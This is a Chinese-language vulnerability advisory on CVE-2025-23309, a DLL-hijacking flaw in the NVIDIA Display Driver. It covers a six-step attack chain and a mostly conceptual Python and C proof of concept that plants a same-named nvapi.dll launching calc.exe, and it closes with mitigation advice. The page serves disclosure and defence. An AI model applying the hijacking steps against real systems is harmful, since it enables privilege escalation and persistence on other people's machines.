IPBUF安全漏洞报告
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CVE-2025-23309 CVSS 8.2 高危

CVE-2025-23309 NVIDIA显卡驱动不安全DLL加载漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-23309
漏洞类型
不安全DLL加载(Uncontrolled DLL Loading / DLL Hijacking)
CVSS评分
8.2 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
NVIDIA Display Driver(NVIDIA显卡显示驱动)

相关标签

NVIDIA显卡驱动Display DriverDLL劫持DLL Hijacking不安全DLL加载Uncontrolled DLL Loading本地提权权限提升Privilege Escalation

漏洞概述

CVE-2025-23309是NVIDIA Display Driver(显卡显示驱动)中存在的一个高危安全漏洞,CVSS评分为8.2分。该漏洞源于驱动在加载动态链接库(DLL)时使用了不受控制的搜索路径,可能导致攻击者通过植入恶意DLL实现任意代码执行。攻击者可以利用该漏洞触发拒绝服务(DoS)、权限提升、任意代码执行以及数据篡改等多种恶意行为,对系统安全构成严重威胁。

该漏洞的利用需要本地访问权限和低权限用户身份,同时需要用户进行一定程度的交互(如打开文件、运行程序等)。一旦攻击者成功利用该漏洞,由于其同时影响机密性、完整性和可用性(C:H/I:H/A:H),且涉及范围发生变化(S:C),表明该漏洞可能影响超出其安全权限范围的资源,对整个系统造成广泛影响。

NVIDIA作为全球领先的GPU和显卡驱动供应商,其显示驱动被广泛应用于游戏、专业图形设计、数据中心、人工智能计算等众多领域。该漏洞影响范围广泛,涉及使用NVIDIA显卡的个人电脑、工作站及服务器等设备。NVIDIA已于2025年10月10日通过其PSIRT(产品安全事件响应团队)披露该漏洞,并发布了相应的安全更新。建议所有使用受影响版本NVIDIA驱动的用户及时更新到最新版本以修复此漏洞。

技术细节

该漏洞的核心问题在于NVIDIA Display Driver在加载DLL动态链接库时,未对DLL的搜索路径进行严格的控制和安全验证。具体而言,当应用程序或系统服务需要加载某个DLL时,Windows操作系统会按照特定的搜索顺序查找该DLL。如果驱动在加载过程中未明确指定DLL的完整路径,而是依赖于系统的DLL搜索顺序,攻击者就可以通过以下方式进行利用:

1. **DLL搜索顺序劫持(DLL Search Order Hijacking)**:攻击者将恶意的同名DLL文件放置在优先于系统目录的搜索路径中(如应用程序所在目录、当前工作目录或用户可控目录),当驱动加载DLL时,会优先加载攻击者植入的恶意DLL。

2. **DLL侧加载(DLL Side-Loading)**:攻击者利用合法应用程序加载恶意DLL的机制,通过精心构造的恶意DLL实现代码执行。

3. **利用方式**:攻击者首先需要获取目标系统的本地访问权限(通过物理访问、远程桌面或其他已获取的低权限账户)。然后,在用户可控的目录中植入特制的恶意DLL。当用户执行特定操作(如运行使用NVIDIA驱动的应用程序或游戏)时,驱动会按照不安全的搜索路径加载DLL,从而执行攻击者的恶意代码。由于该漏洞涉及范围变化(S:C),恶意代码可能突破当前安全上下文,影响系统其他部分。

4. **权限提升**:由于驱动通常以较高权限运行(如SYSTEM权限),通过DLL劫持执行的恶意代码也将继承这些高权限,从而实现权限提升。

攻击链分析

STEP 1
步骤1:初始访问
攻击者通过物理访问、远程桌面或已获取的低权限账户获得目标系统的本地访问权限。系统需要安装有存在漏洞的NVIDIA Display Driver版本。
STEP 2
步骤2:恶意DLL准备
攻击者编译一个与NVIDIA驱动所需DLL同名的恶意DLL文件,确保其导出与合法DLL相同的函数接口,以便在加载时不会引起异常。
STEP 3
步骤3:恶意DLL部署
攻击者将恶意DLL放置在DLL搜索顺序中优先于系统目录的位置,如应用程序所在目录、当前工作目录或用户可写目录中。
STEP 4
步骤4:诱导用户交互
攻击者通过社会工程学手段诱导用户执行使用NVIDIA驱动的应用程序或游戏,触发驱动的DLL加载流程。
STEP 5
步骤5:恶意DLL加载执行
当应用程序或驱动尝试加载DLL时,由于搜索路径不受控制,系统优先加载攻击者植入的恶意DLL,恶意代码以驱动的高权限上下文执行。
STEP 6
步骤6:权限提升与持久化
恶意代码继承驱动的高权限(如SYSTEM权限),实现权限提升。攻击者可进一步安装持久化后门、窃取敏感数据或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-23309 - NVIDIA Display Driver Uncontrolled DLL Loading PoC # This is a conceptual PoC demonstrating DLL hijacking technique import os import ctypes from ctypes import wintypes # Step 1: Identify the target DLL that NVIDIA Display Driver loads without full path # Common NVIDIA DLLs that may be vulnerable: nvapi.dll, nvml.dll, etc. TARGET_DLL = "nvapi.dll" MALICIOUS_DLL_NAME = "nvapi.dll" # Same name as legitimate DLL # Step 2: Create a malicious DLL payload (conceptual) # In a real attack, this would be compiled as a DLL with malicious export functions malicious_dll_code = f''' #include <windows.h> #include <stdio.h> // Export the same functions as the legitimate nvapi.dll extern "C" __declspec(dllexport) int NvAPI_Initialize() {{ // Malicious code executes here when the DLL is loaded system("calc.exe"); // Example: Launch calculator as proof of concept return 0; }} BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {{ if (reason == DLL_PROCESS_ATTACH) {{ // Execute malicious payload when DLL is loaded into the process MessageBoxA(NULL, "CVE-2025-23309 PoC - Malicious DLL Loaded!", "Exploit", MB_OK); }} return TRUE; }} ''' # Step 3: Place the malicious DLL in a directory that will be searched first def deploy_malicious_dll(target_directory): """ Deploy the malicious DLL to a directory that will be searched before the legitimate DLL location """ dll_path = os.path.join(target_directory, MALICIOUS_DLL_NAME) print(f"[*] Deploying malicious DLL to: {dll_path}") # In actual exploitation, write the compiled malicious DLL here # with open(dll_path, 'wb') as f: # f.write(compiled_malicious_dll_bytes) return dll_path # Step 4: Trigger the vulnerability by running an application that uses NVIDIA driver def trigger_vulnerability(): """ Trigger the DLL loading by running an application that uses the NVIDIA Display Driver """ print("[*] Triggering vulnerability...") # Load a library that will trigger the NVIDIA DLL loading try: # This will cause Windows to search for and load the malicious DLL ctypes.windll.LoadLibrary(TARGET_DLL) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Deploy and trigger target_dir = os.path.dirname(os.path.abspath(__file__)) deploy_malicious_dll(target_dir) trigger_vulnerability() print("[+] PoC execution completed")

影响范围

NVIDIA Display Driver(具体受影响的版本范围请参考NVIDIA官方安全公告)
适用于Windows系统的NVIDIA显卡驱动多个版本分支

防御指南

临时缓解措施
在无法立即更新驱动的情况下,建议采取以下临时缓解措施:1)启用Windows的Safe DLL Search Mode模式,通过组策略或注册表设置SafeDllSearchMode为1,确保系统目录优先于当前目录搜索DLL;2)使用应用程序白名单工具(如AppLocker)限制可执行文件和DLL的加载来源;3)监控系统关键目录(如System32)的DLL文件变更,及时发现可疑文件;4)对用户目录的可写权限进行严格控制,限制攻击者植入恶意DLL的能力;5)部署主机入侵检测系统(HIDS),监控异常的DLL加载和进程行为;6)提高用户安全意识,避免打开来源不明的文件和程序。

参考链接

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